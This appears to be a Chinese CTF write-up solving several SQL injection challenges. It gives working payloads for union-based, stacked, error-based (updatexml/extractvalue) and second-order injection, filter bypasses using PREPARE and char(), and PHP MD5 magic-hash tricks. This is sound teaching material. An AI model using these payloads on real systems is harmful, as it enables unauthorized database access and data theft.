SQL注入题目

极客大挑战2019 EasySQL

简单题,'发现注入点

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

写入1’ or 1=1 #

[强网杯 2019]随便注

堆叠注入

在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

重命名 rename table name

  1. 1’ or 1=1# 发现注入点
  2. 1’ order by 3# 列表为二
  3. 1’ union select 1,database()# return preg_match("/select|update|delete|drop|insert|where|./i",$inject); 回显出来这个,屏蔽了select
  4. 0’;show tables;# 回显string(16) “1919810931114514”
  5. 0’;desc `1919810931114514`;# 显示出存在列flag
  6. 0’;desc words;# 显示出id和data
  7. 接下来就是神奇的操作,查询语句很有可能是 : selsect id,data from words where id =,因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1’ or 1=1#爆出表所有内容就可以查flag啦
  8. 0’;rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
  9. id=1’ or 1=1#

预处理语句

PREPARE name from ‘[my sql sequece]’; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句

SET @tn = ‘hahaha’; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)<----->‘select’

payload1: 不使用变量
0’;PREPARE hacker from concat(char(115,101,108,101,99,116), ’ * from `1919810931114514` ‘);EXECUTE hacker;#
payload2: 使用变量
0’;SET @sqli=concat(char(115,101,108,101,99,116),’* from `1919810931114514`’);PREPARE hacker from @sqli;EXECUTE hacker;#
payload3: 只是用contact(),不使用char()
0’;PREPARE hacker from concat(‘s’,‘elect’, ’ * from `1919810931114514` ');EXECUTE hacker;#

[SUCTF 2019]EasySQL

同样用堆叠注入

0;show databases; #
0;show tables; #

oracle 缺省

原理 select $_GET['query'] || flag from flag

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能

1;set sql_mode=PIPES_AS_CONCAT;select 1

其他解: *,1

[极客大挑战 2019]LoveSQL

# 1.
?username=admin' order by 4%23&password=1
# 2.
?username=1' union select 1,database(),version()%23
&password=1 
# 3.
?username=1' union select 1,2,concat() # geek
# 4.
?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=1#geekuser,l0ve1ysq1
# 5.
?username=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1 # id,username,password
# 6.
?username=1' union select 1,2,group_concat(username,password) from geek.l0ve1ysq1%23&password=1
flag{ab8c53a7-73d1-4a21-865e-5d435c907599}

[极客大挑战 2019]BabySQL

双写绕过

其他的与上个都差不多

[极客大挑战 2019]HardSQL

报错注入

用extractvalue和updatexml报错注入,过滤了空格和and'^'来连接函数,形成异或
username=1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=1
username=1&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
或者用or隔开
用括号来代替空格
updataxml
1.database
	username=1'^(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23&password=1
	# geek
1.1 databases
	username=1'^(updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),1))%23&password=1
	# information_schema,mysql,perfor
2.table
	updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
	H4rDsq1
3.column
	username=1&password=1'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)%23
	id,username,password
4.flag
	updatexml(1,concat(0x7e,(select(password)from(geek.H4rDsq1)),0x7e),1)%23
	updatexml(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1)),0x7e),1)%23
	flag{ac019565-3a1f-4262-af23-49
	5-3a1f-4262-af23-49e873f8ae91}
    flag{ac019565-3a1f-4262-af23-49e873f8ae91}

extractvalue
1.database
	extractvalue(1,concat(0x7e,(select(database()))))%23
2.table
	extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
3.column
	extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%
4.password
	extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1)),0x7e))%23

[BJDCTF2020]Easy MD5

出现一个框
在这里插入图片描述

输入后可在headers看到
在这里插入图片描述

hint:select * from ‘admin’ where password=md5($pass,true)
构造$pass字符串经md5加密后出现’ or ',则可令该SQL语句返回true,与万能密码的原理相同。

像这样的字符串有:

129581926211651571912466741651878684928
ffifdyop

之后跳转到另一个网页

$a = $GET['a'];
$b = $_GET['b'];

if(\$a != $b && md5(\$a) == md5($b)){
    // wow, glzjin wants a girl friend.

需要我们构造两个字符串a和b,二者需不相同,但md5值却相同。想到了md5碰撞和数组绕过。

md5碰撞和数组绕过

关于md5碰撞,利用了PHP在使用“!=”、“==”比较哈希字符串时,会将0e开头的字符串当做0处理,因此如果字符串的md5值为0e开头,PHP认为它们是相等的。

数组绕过,主要利用了md5函数不能处理数组,当传入数组时,经md5加密后,都为null,相等。

md5后为0e开头的字符串

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

如何出现php

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

[RCTF2015]EasySQL

二次注入&XPATH注入

二次注入,有以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。.

输入1" 在改密码的时候报错
说明是双引号包裹
由于有报错回显,根据之前fuzz的过滤
可以考虑xpath注入

1"||extractvalue(1,concat(0x7e,(select(database()))))%23
1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))%23
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))))%23

假的,查user

1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#
1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#

flag{90d5fc9b-1e91-4261-8db9-d0
}301c620ed00d-9bd8-1624-19e1-b9 reserve
9b-1e91-4261-8db9-d00de026c103}
flag{90d5fc9b-1e91-4261-8db9-d00de026c103}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值